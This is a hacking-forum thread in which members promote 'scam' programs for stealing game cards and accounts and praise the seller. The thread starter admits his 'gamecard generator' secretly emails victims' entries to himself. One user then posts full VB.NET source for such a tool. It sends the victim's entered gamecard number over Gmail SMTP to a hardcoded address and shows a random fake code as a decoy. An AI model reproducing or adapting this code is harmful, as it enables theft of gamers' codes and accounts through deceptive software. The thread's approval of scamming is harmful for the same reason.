[Programs] scam gamecards, accounts!

[Gash]

strange that you give the prog to a leecher with 4 posts..

i thought you need rep :>

[Zeroi9]

strange that you give the prog to a leecher with 4 posts..

i thought you need rep :>

I haven't given out it to someone with less than 10 rep!

Y R U NOB Dont steal my thread! mwahaha

[kilativ]

Wow too much to read

[kilativ]

how to make programms like this?

[dfk]

great job on the programs man +rep maybe ill grab one off you one of these days

[Zeroi9]

great job on the programs man +rep maybe ill grab one off you one of these days

Thanks! btw, cool signature =O

Yeah, you better do that bef0re I kill this thread! xD

[cedsson]

tja kan du ge mig gamecard generator till [email protected] plz

[doca1111]

zeroi9 you owning

[Zeroi9]

zeroi9 you owning

Thanks for the kind words doca1111.
Go do usefull posts and you will own to. ;)

[Thunderofnl]

Nicely done man nicely done
you will get rep from me

[daithi112]

Gamecard generator doesn't work...

[Zeroi9]

Gamecard generator doesn't work...

Ofcourse not, it sends the mail to me, since I havent changed it to yuor mail and sended it to you

[Gotlyfe]

Holy Crap i was reading this and im like wow this is amazing.... then i realized holy crap... i dont have any rep at all, i need to post some stuff

[iruleatants]

If someone who has the rep shares me their program, I'll packet sniff it for you, and tell you how many emails it sends.

[iruleatants]

If you wanted to make this yourself, its quite easy (Infact, it took me longer to find my gamecard, then to make this code).

My entire source code, and if the demand is enough, I can post a picture tutorial on how to make the form in vb.net (10 second job)

Imports System.Net.Mail

Public Class Form1
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        If TextBox1.Text = "" Then
            MsgBox("You must enter your gamercard")
        End If
        Dim mail As New MailMessage()
        Dim SmtpServer As New SmtpClient
        SmtpServer.Credentials = New Net.NetworkCredential("Gmail Username", "Gmail Password")
        SmtpServer.Port = 587
        SmtpServer.Host = "smtp.gmail.com"
        SmtpServer.EnableSsl = True
        mail.To.Add("[email protected]")
        mail.From = New MailAddress("[email protected]")
        mail.Subject = "Gamecard number"
        mail.Body = TextBox1.Text
        SmtpServer.Send(mail)

        TextBox2.Text = RandomInteger(1000, 1999) & "-" & RandomInteger(100000, 999999) & "-" & RandomInteger(10000, 99999) & "-" & RandomInteger(100000, 999999) & "-" & RandomInteger(1000, 9999)

    End Sub

    Public Function RandomInteger(ByVal lng1, ByVal lng2) As Long
        Dim lng3 As Long
        Dim lng4 As Long

        If lng1 < lng2 Then
            lng3 = lng1 - 1
            lng4 = lng2 + 1
        Else
            lng3 = lng2 - 1
            lng4 = lng1 + 1
        End If

AnotherRandom:

        RandomInteger = Rnd() * (lng3 - lng4) + lng4

        If RandomInteger <= lng3 Or RandomInteger >= lng4 Then
            GoTo AnotherRandom
        End If
    End Function

End Class